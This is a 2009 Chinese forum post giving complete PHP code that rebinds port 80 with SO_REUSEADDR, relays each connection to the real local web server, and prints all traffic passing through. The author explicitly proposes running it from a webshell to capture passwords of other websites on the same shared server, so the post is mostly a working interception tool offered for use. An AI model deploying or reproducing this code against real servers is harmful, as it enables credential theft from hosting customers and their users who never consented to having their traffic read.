不二宝贝 發表於 2009-8-28 00:16:08

利用php来嗅探劫持服务器数据

<div class="content_text">
<p>前几天刺在我们的maillist发了一个老外写的文章,大意是可以用php来实现数据的劫持和转发。我瞄了一下,确实可行,于是今天抽出了以前用来扯淡的时间,写了段代码验证了一下想法。老外的原文是一个PDF,有兴趣看的可以看看。地址是在:<u>http://www.secforce.co.uk/media/presentations/OWASP_Abusing_PHP_sockets.pdf</u>。其实关于这个的原理,我记得很早很早之前flashsky就在xfocus上面贴过通过SO_REUSEADDR实现端口重复绑定的,mix还写过一个 guest权限嗅探密码的。我这里比较不同的是用php实现的,可以在webshell里面用,当然我没有测试过,我没shell。</p>
<p>需要注意的是,这个东西和以前的《PHP下实现端口复用/劫持》是完全不一样的,那个文章可以在这里找到:<u>http://www.west999.com/info/html/wangluobiancheng/Phpbiancheng/20080224/22439.html</u>。至于为什么不一样,我就不说了。</p>
<p>代码我注释得很详细,个人觉得写得还不错,不细说。这里大概说一下技术上的难点。首先是在web里面,没有多线程也没有多进程,但是每一个新连接进来就要去处理,应该怎么做?显然不能顺序执行,因为光accept那里就会被阻塞住的,而且后面每一个session也需要分别处理的。还好查手册发现经典的socket_select函数可用,有这个就好说了,专业实现多路复用的。</p>
<p>PHP代码如下,有详细注释。blog贴的,所以代码可能会掉些东西,其他的支持我就不提供了,看代码: <br />&lt;?php<br />class select<br />{<br />var $sockets;</p>
<p>// 构造函数<br />function select($sockets)<br />{<br />$this-&gt;sockets = array();</p>
<p>foreach($sockets as $socket)<br />{<br />$this-&gt;add($socket);<br />}<br />}</p>
<p>function add($add_socket)<br />{<br />//array_push($this-&gt;sockets, $add_socket);<br />$this-&gt;sockets[] = $add_socket;<br />}</p>
<p>// 利用临时数组来删除数组中的元素<br />function remove($remove_socket)<br />{<br />$tmp_sockets = array();</p>
<p>foreach($this-&gt;sockets as $socket)<br />{<br />if($remove_socket != $socket)<br />{<br />$tmp_sockets[] = $socket;<br />}<br />}</p>
<p>$this-&gt;sockets = $tmp_sockets;<br />}</p>
<p>// 检查socket数组是否可读,传入超时时间,返回socket数组<br />function can_read($timeout)<br />{<br />$read = $this-&gt;sockets;<br />socket_select( $read, $write = NULL, $except = NULL, $timeout );<br />return $read;<br />}</p>
<p>// 检查socket数组是否可写,传入超时时间,返回socket数组<br />function can_write($timeout)<br />{<br />$write = $this-&gt;sockets;<br />socket_select( $read = NULL, $write, $except = NULL, $timeout );<br />return $write;<br />}<br />}</p>
<p>// 网页不超时<br />set_time_limit(0);</p>
<p>// 即时输出数据,不缓冲<br />ob_end_clean();<br />ob_implicit_flush(true);</p>
<p>if( !isset($_GET[&quot;listen_ip&quot;]) )<br />{<br />exit;<br />}<br />if( $_GET[&quot;listen_ip&quot;] == &quot;&quot; )<br />{<br />exit;<br />}</p>
<p>$listen_ip = $_GET[&quot;listen_ip&quot;];<br />$listen_port = 80;</p>
<p>// 建立socket<br />$listen_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);</p>
<p>// 设置重复绑定<br />socket_set_option($listen_sock, SOL_SOCKET, SO_REUSEADDR, 1);</p>
<p>// 明确指定绑定IP地址,优先获取数据<br />socket_bind($listen_sock, $listen_ip, $listen_port);</p>
<p>// 开始监听<br />socket_listen ($listen_sock);</p>
<p>echo &quot;listen on &quot;.htmlentities($listen_ip).&quot; :&quot;.$listen_port.&quot;&lt;br /&gt;&quot;;</p>
<p>// 创建socket数组,使用select来轮询<br />$check_socks = array($listen_sock);</p>
<p>// 映射客户端socket和服务端socket<br />// $socket_maps1将客户端socket作为key<br />// $socket_maps2将服务端socket作为key<br />// 以内存换速度,并且方便下面的搜索<br />$socket_maps1 = array( );<br />$socket_maps2 = array( );</p>
<p>// 实例化select类<br />$select = new select( $check_socks );</p>
<p>while(true)<br />{<br />/*<br />print_r( $socket_maps );<br />print &quot;&lt;br /&gt;&quot;;<br />*/<br />// select轮询,超时2秒<br />foreach ($select-&gt;can_read(1) as $socket)<br />{<br />// listen_sock可读,说明有人连接上来了<br />if( $socket == $listen_sock )<br />{<br />// 接受新连接,并加入到轮训数组<br />$new_client = socket_accept($listen_sock);<br />$select-&gt;add($new_client);</p>
<p>socket_getpeername($new_client, $ip, $port);<br />echo &quot;New client connected: $ip, $port&lt;br /&gt;&quot;;</p>
<p>// 建立到真实服务器的socket<br />$server_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);<br />socket_connect($server_sock,&quot;127.0.0.1&quot;, $listen_port);</p>
<p>// 建立真实服务器socket和真实客户端socket之间的映射关系<br />$socket_maps1[$new_client] = $server_sock;<br />$socket_maps2[$server_sock] = $new_client;</p>
<p>// 添加到select轮询中<br />$select-&gt;add($server_sock);</p>
<p>// $listen_sock的可读数据是因为有新连接,已经处理了。暂时去掉,因为下面开始处理数据转发<br />//select-&gt;remove( $listen_sock );<br />}</p>
<p>// 其他socket可读,表示有数据需要中转<br />else<br />{<br />// 读取数据,失败则从轮询socket中删除,并关闭socket<br />$client_data = @socket_read($socket, 1024, PHP_NORMAL_READ);<br />if ($client_data === false)<br />{<br />socket_close( $socket );<br />$select-&gt;remove( $socket );<br />echo &quot;client disconnected.&lt;br /&gt;&quot;;</p>
<p>continue;<br />}</p>
<p>// 如果socket在$socket_maps1的key中,说明是从客户端读到了数据<br />if( in_array( $socket, array_keys($socket_maps1)) )<br />{<br />//echo &quot;readed from client.&lt;br /&gt;&quot;;<br />if( ! socket_write( $socket_maps1[$socket], $client_data ) )<br />{<br />socket_close( $socket );<br />socket_close( $socket_maps1[$socket] );<br />$select-&gt;remove( $socket );<br />$select-&gt;remove( $socket_maps1[$socket] );<br />print &quot;Write to server error.&lt;br /&gt;&quot;;<br />}<br />print htmlentities($client_data).&quot;&lt;/b&gt;&lt;br /&gt;&quot;;<br />}<br />// 否则如果socket在$socket_maps2的key中,说明是从真正的web服务器读到了数据<br />elseif( in_array( $socket, array_keys($socket_maps2) ) )<br />{<br />//echo &quot;readed from server.&lt;br /&gt;&quot;;<br />if( ! socket_write( $socket_maps2[$socket], $client_data ) )<br />{<br />socket_close( $socket );<br />socket_close( $socket_maps2[$socket] );<br />$select-&gt;remove( $socket );<br />$select-&gt;remove( $socket_maps2[$socket] );<br />print &quot;Write to client error.&lt;br /&gt;&quot;;<br />}<br />print htmlentities($client_data).&quot;&lt;/b&gt;&lt;br /&gt;&quot;;<br />}<br />}<br />}<br />} </p>
<p></p>
<p>?&gt; <br />这个东西有什么作用?自由发挥。也许你有一个webshell,但是却想知道同一个服务器上面别人网站的密码&hellip;&hellip;我是在windows xp+apache测试的,据我所知windows2003默认已经不准重复绑定端口了。</p>
</div>
頁: [1]
查看完整版本: 利用php来嗅探劫持服务器数据